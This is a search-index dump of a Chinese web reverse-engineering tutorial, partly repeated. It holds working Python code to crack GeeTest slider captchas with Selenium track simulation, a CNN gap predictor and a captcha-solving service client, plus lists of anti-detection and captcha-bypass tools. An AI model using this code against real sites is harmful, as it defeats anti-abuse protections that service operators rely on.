点选验证码: 按顺序点击特定文字或物体 行为验证码: 分析用户行为轨迹（鼠标移动、点击模式） 智能验证码: 无感验证，通过设备指纹和行为分析判断 8.2 主流验证码服务商 服务商 类型 特点 破解难度 极验 (GeeTest) 滑块、点选、智能 行为轨迹分析、多维度风控 ★★★★★ 网易易盾 滑块、点选、智能 图像乱序、背景融合 ★★★★★ 阿里云盾 滑块、智能 风控引擎、设备指纹 ★★★★★ 腾讯天御 滑块、点选、智能 交互动态加载 ★★★★★ 点触验证码 滑块、点选 多种验证方式 ★★★★☆ Google reCAPTCHA v3 智能 无感验证、风险评分 ★★★★☆ 8.3 滑块验证码原理与破解 极验滑块验证码工作流程: 1. 用户访问页面 2. 加载验证码组件 3. 显示缺口图片和滑块 4. 用户拖动滑块 5. 记录轨迹数据： - 鼠标移动轨迹 - 速度变化 - 加速度 - 时间戳 6. 提交轨迹到服务器验证 7. 服务器分析行为特征： - 轨迹是否平滑 - 速度是否自然 - 是否符合人类行为 8. 返回验证结果 破解方法: 方法 1: 图像识别 + 轨迹模拟 from selenium import webdriver from selenium.webdriver.common.action_chains import ActionChains from selenium.webdriver.common.by import By from PIL import Image import cv2 import numpy as np import time import random class SliderCracker: def __init__(self, driver): self.driver = driver def get_gap_distance(self, bg_img, slide_img): \"\"\"计算缺口距离\"\"\" # 1. 转换为灰度图 bg_gray = cv2.cvtColor(np.array(bg_img), cv2.COLOR_RGB2GRAY) slide_gray = cv2.cvtColor(np.array(slide_img), cv2.COLOR_RGB2GRAY) # 2. 边缘检测 bg_edges = cv2.Canny(bg_gray, 100, 200) # 3. 模板匹配 result = cv2.matchTemplate(bg_edges, slide_gray, cv2.TM_CCOEFF_NORMED) min_val, max_val, min_loc, max_loc = cv2.minMaxLoc(result) # 4. 返回匹配位置（缺口距离） return max_loc[0] def get_track(self, distance): \"\"\"生成拖动轨迹（模拟人类行为）\"\"\" track = [] current = 0 mid = distance * 4 / 5 # 减速点 t = 0.2 # 时间间隔 v = 0 # 初速度 while current \u003c distance: if current \u003c mid: a = 2 # 加速度 else: a = -3 # 减速 v0 = v v = v0 + a * t move = v0 * t + 1/2 * a * t * t current += move track.append(round(move)) return track def move_slider(self, slider, track): \"\"\"移动滑块\"\"\" ActionChains(self.driver).click_and_hold(slider).perform() for x in track: ActionChains(self.driver).move_by_offset(xoffset=x, yoffset=0).perform() time.sleep(random.uniform(0.001, 0.002)) # 随机抖动（模拟人类修正） for _ in range(3): ActionChains(self.driver).move_by_offset( xoffset=random.uniform(-2, 2), yoffset=random.uniform(-2, 2) ).perform() time.sleep(random.uniform(0.01, 0.02)) ActionChains(self.driver).release().perform() def crack(self): \"\"\"破解滑块验证码\"\"\" # 1. 等待验证码加载 time.sleep(2) # 2. 获取背景图和滑块图 bg_element = self.driver.find_element(By.CLASS_NAME, 'geetest_canvas_bg') slide_element = self.driver.find_element(By.CLASS_NAME, 'geetest_canvas_slice') # 3. 截图 bg_img = Image.open(BytesIO(bg_element.screenshot_as_png)) slide_img = Image.open(BytesIO(slide_element.screenshot_as_png)) # 4. 计算缺口距离 distance = self.get_gap_distance(bg_img, slide_img) # 5. 生成轨迹 track = self.get_track(distance - 7) # 减去滑块宽度 # 6. 拖动滑块 slider = self.driver.find_element(By.CLASS_NAME, 'geetest_slider_button') self.move_slider(slider, track) # 7. 等待验证结果 time.sleep(2) 方法 2: 深度学习识别 import tensorflow as tf from tensorflow.keras import layers, models class CaptchaCNN: def __init__(self): self.model = self.build_model() def build_model(self): \"\"\"构建 CNN 模型\"\"\" model = models.Sequential([ layers.Conv2D(32, (3, 3), activation='relu', input_shape=(60, 260, 3)), layers.MaxPooling2D((2, 2)), layers.Conv2D(64, (3, 3), activation='relu'), layers.MaxPooling2D((2, 2)), layers.Conv2D(64, (3, 3), activation='relu'), layers.Flatten(), layers.Dense(64, activation='relu'), layers.Dense(1, activation='linear') # 输出缺口位置 ]) model.compile( optimizer='adam', loss='mse', metrics=['mae'] ) return model def train(self, X_train, y_train, epochs=50): \"\"\"训练模型\"\"\" self.model.fit( X_train, y_train, epochs=epochs, validation_split=0.2 ) def predict_gap(self, image): \"\"\"预测缺口位置\"\"\" image = np.expand_dims(image, axis=0) return self.model.predict(image)[0][0] 方法 3: 打码平台 import requests class OCRService: def __init__(self, api_key): self.api_key = api_key self.api_url = 'http://api.ttshitu.com/predict' def recognize_slider(self, bg_img_path, slide_img_path): \"\"\"使用打码平台识别滑块验证码\"\"\" with open(bg_img_path, 'rb') as f: bg_img = f.read() with open(slide_img_path, 'rb') as f: slide_img = f.read() data = { 'username': 'your_username', 'password': 'your_password', 'typeid': '33', # 滑块验证码类型 'imag","date":"2025-06-08","objectID":"/reverse_engineering/web/04-advanced-recipes/anti_scraping_deep_dive/:3:8","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","加密分析"],"title":"反爬虫技术深度分析","uri":"/reverse_engineering/web/04-advanced-recipes/anti_scraping_deep_dive/#84-点选验证码"},{"categories":null,"collections":null,"content":"8. 验证码技术 8.1 验证码类型 现代验证码主要分为以下几类: 图形验证码: 最传统的验证码，包含扭曲文字、噪点等 滑块验证码: 拖动滑块拼合图片（如极验、网易易盾） 点选验证码: 按顺序点击特定文字或物体 行为验证码: 分析用户行为轨迹（鼠标移动、点击模式） 智能验证码: 无感验证，通过设备指纹和行为分析判断 8.2 主流验证码服务商 服务商 类型 特点 破解难度 极验 (GeeTest) 滑块、点选、智能 行为轨迹分析、多维度风控 ★★★★★ 网易易盾 滑块、点选、智能 图像乱序、背景融合 ★★★★★ 阿里云盾 滑块、智能 风控引擎、设备指纹 ★★★★★ 腾讯天御 滑块、点选、智能 交互动态加载 ★★★★★ 点触验证码 滑块、点选 多种验证方式 ★★★★☆ Google reCAPTCHA v3 智能 无感验证、风险评分 ★★★★☆ 8.3 滑块验证码原理与破解 极验滑块验证码工作流程: 1. 用户访问页面 2. 加载验证码组件 3. 显示缺口图片和滑块 4. 用户拖动滑块 5. 记录轨迹数据： - 鼠标移动轨迹 - 速度变化 - 加速度 - 时间戳 6. 提交轨迹到服务器验证 7. 服务器分析行为特征： - 轨迹是否平滑 - 速度是否自然 - 是否符合人类行为 8. 返回验证结果 破解方法: 方法 1: 图像识别 + 轨迹模拟 from selenium import webdriver from selenium.webdriver.common.action_chains import ActionChains from selenium.webdriver.common.by import By from PIL import Image import cv2 import numpy as np import time import random class SliderCracker: def __init__(self, driver): self.driver = driver def get_gap_distance(self, bg_img, slide_img): \"\"\"计算缺口距离\"\"\" # 1. 转换为灰度图 bg_gray = cv2.cvtColor(np.array(bg_img), cv2.COLOR_RGB2GRAY) slide_gray = cv2.cvtColor(np.array(slide_img), cv2.COLOR_RGB2GRAY) # 2. 边缘检测 bg_edges = cv2.Canny(bg_gray, 100, 200) # 3. 模板匹配 result = cv2.matchTemplate(bg_edges, slide_gray, cv2.TM_CCOEFF_NORMED) min_val, max_val, min_loc, max_loc = cv2.minMaxLoc(result) # 4. 返回匹配位置（缺口距离） return max_loc[0] def get_track(self, distance): \"\"\"生成拖动轨迹（模拟人类行为）\"\"\" track = [] current = 0 mid = distance * 4 / 5 # 减速点 t = 0.2 # 时间间隔 v = 0 # 初速度 while current \u003c distance: if current \u003c mid: a = 2 # 加速度 else: a = -3 # 减速 v0 = v v = v0 + a * t move = v0 * t + 1/2 * a * t * t current += move track.append(round(move)) return track def move_slider(self, slider, track): \"\"\"移动滑块\"\"\" ActionChains(self.driver).click_and_hold(slider).perform() for x in track: ActionChains(self.driver).move_by_offset(xoffset=x, yoffset=0).perform() time.sleep(random.uniform(0.001, 0.002)) # 随机抖动（模拟人类修正） for _ in range(3): ActionChains(self.driver).move_by_offset( xoffset=random.uniform(-2, 2), yoffset=random.uniform(-2, 2) ).perform() time.sleep(random.uniform(0.01, 0.02)) ActionChains(self.driver).release().perform() def crack(self): \"\"\"破解滑块验证码\"\"\" # 1. 等待验证码加载 time.sleep(2) # 2. 获取背景图和滑块图 bg_element = self.driver.find_element(By.CLASS_NAME, 'geetest_canvas_bg') slide_element = self.driver.find_element(By.CLASS_NAME, 'geetest_canvas_slice') # 3. 截图 bg_img = Image.open(BytesIO(bg_element.screenshot_as_png)) slide_img = Image.open(BytesIO(slide_element.screenshot_as_png)) # 4. 计算缺口距离 distance = self.get_gap_distance(bg_img, slide_img) # 5. 生成轨迹 track = self.get_track(distance - 7) # 减去滑块宽度 # 6. 拖动滑块 slider = self.driver.find_element(By.CLASS_NAME, 'geetest_slider_button') self.move_slider(slider, track) # 7. 等待验证结果 time.sleep(2) 方法 2: 深度学习识别 import tensorflow as tf from tensorflow.keras import layers, models class CaptchaCNN: def __init__(self): self.model = self.build_model() def build_model(self): \"\"\"构建 CNN 模型\"\"\" model = models.Sequential([ layers.Conv2D(32, (3, 3), activation='relu', input_shape=(60, 260, 3)), layers.MaxPooling2D((2, 2)), layers.Conv2D(64, (3, 3), activation='relu'), layers.MaxPooling2D((2, 2)), layers.Conv2D(64, (3, 3), activation='relu'), layers.Flatten(), layers.Dense(64, activation='relu'), layers.Dense(1, activation='linear') # 输出缺口位置 ]) model.compile( optimizer='adam', loss='mse', metrics=['mae'] ) return model def train(self, X_train, y_train, epochs=50): \"\"\"训练模型\"\"\" self.model.fit( X_train, y_train, epochs=epochs, validation_split=0.2 ) def predict_gap(self, image): \"\"\"预测缺口位置\"\"\" image = np.expand_dims(image, axis=0) return self.model.predict(image)[0][0] 方法 3: 打码平台 import requests class OCRService: def __init__(self, api_key): self.api_key = api_key self.api_url = 'http://api.ttshitu.com/predict' def recognize_slider(self, bg_img_path, slide_img_path): \"\"\"使用打码平台识别滑块验证码\"\"\" with open(bg_img_path, 'rb') as f: bg_img = f.read() with open(slide_img_path, 'rb') as f: slide_img = f.read() data = { 'username': 'your_username', 'password': 'your_password', 'typeid': '33', # 滑块验证码类型 'imag","date":"2025-06-08","objectID":"/reverse_engineering/web/04-advanced-recipes/anti_scraping_deep_dive/:3:8","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","加密分析"],"title":"反爬虫技术深度分析","uri":"/reverse_engineering/web/04-advanced-recipes/anti_scraping_deep_dive/#85-行为验证码"},{"categories":null,"collections":null,"content":"8. 验证码技术 8.1 验证码类型 现代验证码主要分为以下几类: 图形验证码: 最传统的验证码，包含扭曲文字、噪点等 滑块验证码: 拖动滑块拼合图片（如极验、网易易盾） 点选验证码: 按顺序点击特定文字或物体 行为验证码: 分析用户行为轨迹（鼠标移动、点击模式） 智能验证码: 无感验证，通过设备指纹和行为分析判断 8.2 主流验证码服务商 服务商 类型 特点 破解难度 极验 (GeeTest) 滑块、点选、智能 行为轨迹分析、多维度风控 ★★★★★ 网易易盾 滑块、点选、智能 图像乱序、背景融合 ★★★★★ 阿里云盾 滑块、智能 风控引擎、设备指纹 ★★★★★ 腾讯天御 滑块、点选、智能 交互动态加载 ★★★★★ 点触验证码 滑块、点选 多种验证方式 ★★★★☆ Google reCAPTCHA v3 智能 无感验证、风险评分 ★★★★☆ 8.3 滑块验证码原理与破解 极验滑块验证码工作流程: 1. 用户访问页面 2. 加载验证码组件 3. 显示缺口图片和滑块 4. 用户拖动滑块 5. 记录轨迹数据： - 鼠标移动轨迹 - 速度变化 - 加速度 - 时间戳 6. 提交轨迹到服务器验证 7. 服务器分析行为特征： - 轨迹是否平滑 - 速度是否自然 - 是否符合人类行为 8. 返回验证结果 破解方法: 方法 1: 图像识别 + 轨迹模拟 from selenium import webdriver from selenium.webdriver.common.action_chains import ActionChains from selenium.webdriver.common.by import By from PIL import Image import cv2 import numpy as np import time import random class SliderCracker: def __init__(self, driver): self.driver = driver def get_gap_distance(self, bg_img, slide_img): \"\"\"计算缺口距离\"\"\" # 1. 转换为灰度图 bg_gray = cv2.cvtColor(np.array(bg_img), cv2.COLOR_RGB2GRAY) slide_gray = cv2.cvtColor(np.array(slide_img), cv2.COLOR_RGB2GRAY) # 2. 边缘检测 bg_edges = cv2.Canny(bg_gray, 100, 200) # 3. 模板匹配 result = cv2.matchTemplate(bg_edges, slide_gray, cv2.TM_CCOEFF_NORMED) min_val, max_val, min_loc, max_loc = cv2.minMaxLoc(result) # 4. 返回匹配位置（缺口距离） return max_loc[0] def get_track(self, distance): \"\"\"生成拖动轨迹（模拟人类行为）\"\"\" track = [] current = 0 mid = distance * 4 / 5 # 减速点 t = 0.2 # 时间间隔 v = 0 # 初速度 while current \u003c distance: if current \u003c mid: a = 2 # 加速度 else: a = -3 # 减速 v0 = v v = v0 + a * t move = v0 * t + 1/2 * a * t * t current += move track.append(round(move)) return track def move_slider(self, slider, track): \"\"\"移动滑块\"\"\" ActionChains(self.driver).click_and_hold(slider).perform() for x in track: ActionChains(self.driver).move_by_offset(xoffset=x, yoffset=0).perform() time.sleep(random.uniform(0.001, 0.002)) # 随机抖动（模拟人类修正） for _ in range(3): ActionChains(self.driver).move_by_offset( xoffset=random.uniform(-2, 2), yoffset=random.uniform(-2, 2) ).perform() time.sleep(random.uniform(0.01, 0.02)) ActionChains(self.driver).release().perform() def crack(self): \"\"\"破解滑块验证码\"\"\" # 1. 等待验证码加载 time.sleep(2) # 2. 获取背景图和滑块图 bg_element = self.driver.find_element(By.CLASS_NAME, 'geetest_canvas_bg') slide_element = self.driver.find_element(By.CLASS_NAME, 'geetest_canvas_slice') # 3. 截图 bg_img = Image.open(BytesIO(bg_element.screenshot_as_png)) slide_img = Image.open(BytesIO(slide_element.screenshot_as_png)) # 4. 计算缺口距离 distance = self.get_gap_distance(bg_img, slide_img) # 5. 生成轨迹 track = self.get_track(distance - 7) # 减去滑块宽度 # 6. 拖动滑块 slider = self.driver.find_element(By.CLASS_NAME, 'geetest_slider_button') self.move_slider(slider, track) # 7. 等待验证结果 time.sleep(2) 方法 2: 深度学习识别 import tensorflow as tf from tensorflow.keras import layers, models class CaptchaCNN: def __init__(self): self.model = self.build_model() def build_model(self): \"\"\"构建 CNN 模型\"\"\" model = models.Sequential([ layers.Conv2D(32, (3, 3), activation='relu', input_shape=(60, 260, 3)), layers.MaxPooling2D((2, 2)), layers.Conv2D(64, (3, 3), activation='relu'), layers.MaxPooling2D((2, 2)), layers.Conv2D(64, (3, 3), activation='relu'), layers.Flatten(), layers.Dense(64, activation='relu'), layers.Dense(1, activation='linear') # 输出缺口位置 ]) model.compile( optimizer='adam', loss='mse', metrics=['mae'] ) return model def train(self, X_train, y_train, epochs=50): \"\"\"训练模型\"\"\" self.model.fit( X_train, y_train, epochs=epochs, validation_split=0.2 ) def predict_gap(self, image): \"\"\"预测缺口位置\"\"\" image = np.expand_dims(image, axis=0) return self.model.predict(image)[0][0] 方法 3: 打码平台 import requests class OCRService: def __init__(self, api_key): self.api_key = api_key self.api_url = 'http://api.ttshitu.com/predict' def recognize_slider(self, bg_img_path, slide_img_path): \"\"\"使用打码平台识别滑块验证码\"\"\" with open(bg_img_path, 'rb') as f: bg_img = f.read() with open(slide_img_path, 'rb') as f: slide_img = f.read() data = { 'username': 'your_username', 'password': 'your_password', 'typeid': '33', # 滑块验证码类型 'imag","date":"2025-06-08","objectID":"/reverse_engineering/web/04-advanced-recipes/anti_scraping_deep_dive/:3:8","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","加密分析"],"title":"反爬虫技术深度分析","uri":"/reverse_engineering/web/04-advanced-recipes/anti_scraping_deep_dive/#86-成本分析"},{"categories":null,"collections":null,"content":"相关章节 浏览器指纹识别 TLS 指纹识别 Canvas 指纹技术 代理池管理 JavaScript Hook 技术 ","date":"2025-06-08","objectID":"/reverse_engineering/web/04-advanced-recipes/anti_scraping_deep_dive/:4:0","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","加密分析"],"title":"反爬虫技术深度分析","uri":"/reverse_engineering/web/04-advanced-recipes/anti_scraping_deep_dive/#相关章节"},{"categories":null,"collections":null,"content":"开源项目推荐 ","date":"2025-06-08","objectID":"/reverse_engineering/web/11-resources/github_projects/:0:0","tags":["Web","RSA","浏览器指纹","学习","签名验证","WebAssembly"],"title":"开源项目推荐","uri":"/reverse_engineering/web/11-resources/github_projects/#开源项目推荐"},{"categories":null,"collections":null,"content":"概述 本章精选了 Web 逆向工程领域的优质开源项目，涵盖工具、框架、库和学习资源。这些项目可以帮助你快速入门、提升技能、解决实际问题。 ","date":"2025-06-08","objectID":"/reverse_engineering/web/11-resources/github_projects/:1:0","tags":["Web","RSA","浏览器指纹","学习","签名验证","WebAssembly"],"title":"开源项目推荐","uri":"/reverse_engineering/web/11-resources/github_projects/#概述"},{"categories":null,"collections":null,"content":"浏览器自动化 项目名称 Stars 语言 简介 主要特点 安装命令 Puppeteer 87k+ JavaScript/TypeScript Google 官方 Chrome/Chromium 自动化库 • 官方支持，API 稳定 • 性能优秀 • 生态丰富（puppeteer-extra 插件） npm install puppeteer Playwright 63k+ JavaScript/TypeScript 微软开发的跨浏览器自动化框架 • 支持 Chrome、Firefox、Safari • 并发能力强 • 移动端模拟 • 网络拦截和修改 npm install @playwright/test Selenium 30k+ 多语言 最早的浏览器自动化框架 • 支持多种编程语言 • 成熟稳定 • 社区庞大 pip install selenium puppeteer-extra-plugin-stealth 6k+ JavaScript Puppeteer 反检测插件 • 绕过 Webdriver 检测 • 伪造 Chrome 特征 • 自动规避常见反爬虫 npm install puppeteer-extra-plugin-stealth 使用场景: 自动化测试、网页截图/PDF 生成、爬虫开发、E2E 测试、绕过自动化检测 ","date":"2025-06-08","objectID":"/reverse_engineering/web/11-resources/github_projects/:2:0","tags":["Web","RSA","浏览器指纹","学习","签名验证","WebAssembly"],"title":"开源项目推荐","uri":"/reverse_engineering/web/11-resources/github_projects/#浏览器自动化"},{"categories":null,"collections":null,"content":"JavaScript 分析 项目名称 Stars 语言 简介 主要特点 安装命令 Babel 43k+ JavaScript JavaScript 编译器和 AST 工具 • 强大的 AST 操作能力 • 丰富的转换插件 • 反混淆核心工具 npm install @babel/core @babel/parser javascript-obfuscator 9k+ JavaScript JavaScript 代码混淆工具 • 多种混淆选项 • 字符串加密 • 控制流平坦化 npm install javascript-obfuscator webcrack 2k+ TypeScript Webpack bundle 反混淆工具 • 自动识别 Webpack 打包 • 提取模块代码 • 还原目录结构 npm install -g webcrack de4js 1.5k+ JavaScript 在线 JavaScript 反混淆工具 • 支持多种混淆格式 • 在线使用，无需安装 • 可视化展示 在线版: https://lelinhtinh.github.io/de4js/ 使用场景: JavaScript 反混淆、代码转换、AST 分析、Webpack 打包代码分析、了解混淆技术 ","date":"2025-06-08","objectID":"/reverse_engineering/web/11-resources/github_projects/:3:0","tags":["Web","RSA","浏览器指纹","学习","签名验证","WebAssembly"],"title":"开源项目推荐","uri":"/reverse_engineering/web/11-resources/github_projects/#javascript-分析"},{"categories":null,"collections":null,"content":"网络抓包与分析 项目名称 Stars 语言 简介 主要特点 安装命令 mitmproxy 35k+ Python 强大的 MITM 代理工具 • 命令行和 Web 界面 • 支持 HTTP/HTTPS • Python 脚本定制 • 自动化 API pip install mitmproxy Whistle 14k+ JavaScript 基于 Node.js 的抓包调试代理工具 • Web 可视化界面 • 规则配置灵活 • 支持 HTTPS、WebSocket • 插件扩展 npm install -g whistle \u0026\u0026 w2 start har-validator 140+ JavaScript HAR (HTTP Archive) 文件验证和解析 • 验证 HAR 格式 • 提取请求/响应数据 • 命令行工具 npm install har-validator 使用场景: 移动端抓包、API 分析、请求重放、前端调试、API Mock、跨域问题调试、HAR 文件分析 ","date":"2025-06-08","objectID":"/reverse_engineering/web/11-resources/github_projects/:4:0","tags":["Web","RSA","浏览器指纹","学习","签名验证","WebAssembly"],"title":"开源项目推荐","uri":"/reverse_engineering/web/11-resources/github_projects/#网络抓包与分析"},{"categories":null,"collections":null,"content":"加密与解密 项目名称 Stars 语言 简介 主要特点 访问方式 CyberChef 26k+ JavaScript “网络瑞士军刀”，数据处理工具 • 200+ 操作（编码、加密、压缩等） • 拖拽式操作流程 • 无需编程 在线版: https://gchq.github.io/CyberChef/ crypto-js 15k+ JavaScript JavaScript 加密库 • 常用加密算法（MD5、SHA、AES、RSA） • 纯 JavaScript 实现 • 浏览器和 Node.js 通用 npm install crypto-js 使用场景: 数据转换、加密解密、格式分析、加密算法识别、参数签名复现 ","date":"2025-06-08","objectID":"/reverse_engineering/web/11-resources/github_projects/:5:0","tags":["Web","RSA","浏览器指纹","学习","签名验证","WebAssembly"],"title":"开源项目推荐","uri":"/reverse_engineering/web/11-resources/github_projects/#加密与解密"},{"categories":null,"collections":null,"content":"指纹识别 项目名称 Stars 语言 简介 主要特点 访问方式 FingerprintJS 22k+ TypeScript 浏览器指纹识别库 • 99.5% 准确率 • Canvas/WebGL/Audio 指纹 • 免费开源版本 npm install @fingerprintjs/fingerprintjs creepjs 2k+ JavaScript 浏览器指纹和特征检测 • 检测浏览器伪造 • 展示所有指纹信息 • 在线 Demo 在线版: https://abrahamjuliot.github.io/creepjs/ 使用场景: 了解指纹技术、反指纹测试、指纹检测和分析 ","date":"2025-06-08","objectID":"/reverse_engineering/web/11-resources/github_projects/:6:0","tags":["Web","RSA","浏览器指纹","学习","签名验证","WebAssembly"],"title":"开源项目推荐","uri":"/reverse_engineering/web/11-resources/github_projects/#指纹识别"},{"categories":null,"collections":null,"content":"爬虫框架 项目名称 Stars 语言 简介 主要特点 安装命令 Scrapy 52k+ Python 强大的爬虫框架 • 异步高性能 • 中间件和管道系统 • 分布式爬虫支持（Scrapy-Redis） • 丰富的插件 pip install scrapy crawlee 14k+ TypeScript Node.js Web 爬虫和抓取库 • 支持 Puppeteer/Playwright • 自动重试和队列管理 • 代理轮换 • TypeScript 友好 npm install crawlee 使用场景: 大规模爬虫项目、现代 JavaScript 爬虫 ","date":"2025-06-08","objectID":"/reverse_engineering/web/11-resources/github_projects/:7:0","tags":["Web","RSA","浏览器指纹","学习","签名验证","WebAssembly"],"title":"开源项目推荐","uri":"/reverse_engineering/web/11-resources/github_projects/#爬虫框架"},{"categories":null,"collections":null,"content":"逆向辅助工具 项目名称 Stars 语言 简介 主要特点 安装/使用 curl-impersonate 6k+ C 伪造浏览器 TLS 指纹的 curl • 完美模拟 Chrome/Firefox TLS 指纹 • 绕过 JA3 检测 • 命令行工具 curl_chrome124 https://example.com httpx 13k+ Python 下一代 Python HTTP 客户端 • HTTP/2 和 HTTP/3 支持 • 同步/异步 API • 连接池 pip install httpx requests-html 14k+ Python 结合 Requests 和 PyQuery 的 HTML 解析库 • JavaScript 渲染（内置 Chromium） • jQuery 风格选择器 • 简单易用 pip install requests-html 使用场景: TLS 指纹绕过、现代 HTTP 请求、需要 JS 渲染的爬虫 ","date":"2025-06-08","objectID":"/reverse_engineering/web/11-resources/github_projects/:8:0","tags":["Web","RSA","浏览器指纹","学习","签名验证","WebAssembly"],"title":"开源项目推荐","uri":"/reverse_engineering/web/11-resources/github_projects/#逆向辅助工具"},{"categories":null,"collections":null,"content":"WebAssembly 工具 项目名称 Stars 语言 简介 主要工具 使用示例 wabt 6k+ C++ WebAssembly Binary Toolkit • wasm2wat（二进制转文本） • wat2wasm（文本转二进制） • wasm-objdump（反汇编） • wasm-decompile（反编译） wasm2wat module.wasm -o module.wat wasm-decompile module.wasm -o module.c 使用场景: Wasm 逆向分析、Wasm 代码分析 ","date":"2025-06-08","objectID":"/reverse_engineering/web/11-resources/github_projects/:9:0","tags":["Web","RSA","浏览器指纹","学习","签名验证","WebAssembly"],"title":"开源项目推荐","uri":"/reverse_engineering/web/11-resources/github_projects/#webassembly-工具"},{"categories":null,"collections":null,"content":"浏览器插件 插件名称 Stars 支持浏览器 简介 主要功能 Tampermonkey 4k+ Chrome、Firefox、Safari、Edge 用户脚本管理器 • 注入自定义 JavaScript • 脚本市场（Greasy Fork） • 自动更新 EditThisCookie - Chrome、Firefox Cookie 编辑工具 • 查看/编辑 Cookie • 导入/导出 • 搜索过滤 JSON Viewer - Chrome、Firefox JSON 格式化浏览器插件 • 语法高亮 • 折叠展开 • 搜索过滤 使用场景: 注入 Hook 脚本、修改页面行为、自动化操作、Cookie 调试和管理 ","date":"2025-06-08","objectID":"/reverse_engineering/web/11-resources/github_projects/:10:0","tags":["Web","RSA","浏览器指纹","学习","签名验证","WebAssembly"],"title":"开源项目推荐","uri":"/reverse_engineering/web/11-resources/github_projects/#浏览器插件"},{"categories":null,"collections":null,"content":"验证码识别 项目名称 Stars 语言 简介 主要特点 安装命令 ddddocr 9k+ Python 带带弟弟 OCR，简单验证码识别 • 无需训练 • 识别准确率高 • 支持滑块缺口检测 pip install ddddocr hcaptcha-challenger 700+ Python hCaptcha 自动识别 • 基于 YOLOv8 • 自动化流程 pip install hcaptcha-challenger 使用场景: 简单验证码识别、hCaptcha 绕过 ","date":"2025-06-08","objectID":"/reverse_engineering/web/11-resources/github_projects/:11:0","tags":["Web","RSA","浏览器指纹","学习","签名验证","WebAssembly"],"title":"开源项目推荐","uri":"/reverse_engineering/web/11-resources/github_projects/#验证码识别"},{"categories":null,"collections":null,"content":"学习资源项目 项目名称 Stars 语言 简介 主要内容 awesome-web-scraping 7k+ - Web 爬虫资源合集 • 爬虫框架 • 代理服务 • 验证码识别 • 反爬虫资源 javascript-questions 61k+ 多语言 JavaScript 进阶问题集 • 涵盖闭包、原型链、异步等 • 逐题解答 • 适合面试准备 You-Dont-Know-JS 178k+ 英文 深入理解 JavaScript 系列书籍 • 作用域与闭包 • this 与对象原型 • 异步与性能 • ES6+ 特性 使用场景: JavaScript 基础加强、面试准备、深入理解 JavaScript ","date":"2025-06-08","objectID":"/reverse_engineering/web/11-resources/github_projects/:12:0","tags":["Web","RSA","浏览器指纹","学习","签名验证","WebAssembly"],"title":"开源项目推荐","uri":"/reverse_engineering/web/11-resources/github_projects/#学习资源项目"},{"categories":null,"collections":null,"content":"其他实用工具 工具名称 Stars 语言 简介 主要功能 访问方式 Postman - - API 开发和测试工具 • 请求构造 • 集合管理 • 环境变量 • 自动化测试 官网下载 jq 30k+ C 命令行 JSON 处理器 • 强大的过滤和转换 • 管道操作 • 轻量级 brew install jq 使用示例: # jq 处理 JSON curl https://api.example.com/data | jq '.items[] | .name' ","date":"2025-06-08","objectID":"/reverse_engineering/web/11-resources/github_projects/:13:0","tags":["Web","RSA","浏览器指纹","学习","签名验证","WebAssembly"],"title":"开源项目推荐","uri":"/reverse_engineering/web/11-resources/github_projects/#其他实用工具"},{"categories":null,"collections":null,"content":"工具组合方案 ","date":"2025-06-08","objectID":"/reverse_engineering/web/11-resources/github_projects/:14:0","tags":["Web","RSA","浏览器指纹","学习","签名验证","WebAssembly"],"title":"开源项目推荐","uri":"/reverse_engineering/web/11-resources/github_projects/#工具组合方案"},{"categories":null,"collections":null,"content":"方案一：全栈爬虫 Puppeteer + puppeteer-extra-plugin-stealth ↓ mitmproxy（抓包分析） ↓ Babel（反混淆） ↓ Python requests/httpx（请求复现） ","date":"2025-06-08","objectID":"/reverse_engineering/web/11-resources/github_projects/:14:1","tags":["Web","RSA","浏览器指纹","学习","签名验证","WebAssembly"],"title":"开源项目推荐","uri":"/reverse_engineering/web/11-resources/github_projects/#方案一全栈爬虫"},{"categories":null,"collections":null,"content":"方案二：高性能爬虫 Scrapy（框架） ↓ Scrapy-Redis（分布式） ↓ 代理池（IP 轮换） ↓ 消息队列（任务调度） ","date":"2025-06-08","objectID":"/reverse_engineering/web/11-resources/github_projects/:14:2","tags":["Web","RSA","浏览器指纹","学习","签名验证","WebAssembly"],"title":"开源项目推荐","uri":"/reverse_engineering/web/11-resources/github_projects/#方案二高性能爬虫"},{"categories":null,"collections":null,"content":"方案三：JavaScript 逆向 Chrome DevTools（动态调试） ↓ Babel + AST Explorer（反混淆） ↓ CyberChef（数据处理） ↓ Node.js（算法复现） ","date":"2025-06-08","objectID":"/reverse_engineering/web/11-resources/github_projects/:14:3","tags":["Web","RSA","浏览器指纹","学习","签名验证","WebAssembly"],"title":"开源项目推荐","uri":"/reverse_engineering/web/11-resources/github_projects/#方案三javascript-逆向"},{"categories":null,"collections":null,"content":"持续关注 建议定期关注以下资源： 资源名称 链接 说明 GitHub Trending https://github.com/trending/javascript 发现热门项目 Awesome Lists https://github.com/sindresorhus/awesome 优质资源合集 Reddit r/webscraping 社区讨论 Stack Overflow 标签 web-scraping 技术问答 ","date":"2025-06-08","objectID":"/reverse_engineering/web/11-resources/github_projects/:15:0","tags":["Web","RSA","浏览器指纹","学习","签名验证","WebAssembly"],"title":"开源项目推荐","uri":"/reverse_engineering/web/11-resources/github_projects/#持续关注"},{"categories":null,"collections":null,"content":"相关章节 学习资源 浏览器开发者工具 Puppeteer 与 Playwright AST 解析工具 ","date":"2025-06-08","objectID":"/reverse_engineering/web/11-resources/github_projects/:16:0","tags":["Web","RSA","浏览器指纹","学习","签名验证","WebAssembly"],"title":"开源项目推荐","uri":"/reverse_engineering/web/11-resources/github_projects/#相关章节"},{"categories":null,"collections":null,"content":"WebRTC 指纹与隐私 ","date":"2025-06-06","objectID":"/reverse_engineering/web/04-advanced-recipes/webrtc_fingerprinting/:0:0","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","视频App"],"title":"WebRTC 指纹与隐私","uri":"/reverse_engineering/web/04-advanced-recipes/webrtc_fingerprinting/#webrtc-指纹与隐私"},{"categories":null,"collections":null,"content":"概述 WebRTC (Web Real-Time Communication) 是一种支持网页浏览器进行实时语音、视频通信和数据共享的技术。然而，WebRTC 也可能泄露用户的真实 IP 地址和其他设备信息，成为指纹识别和隐私泄露的重要途径。 ","date":"2025-06-06","objectID":"/reverse_engineering/web/04-advanced-recipes/webrtc_fingerprinting/:1:0","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","视频App"],"title":"WebRTC 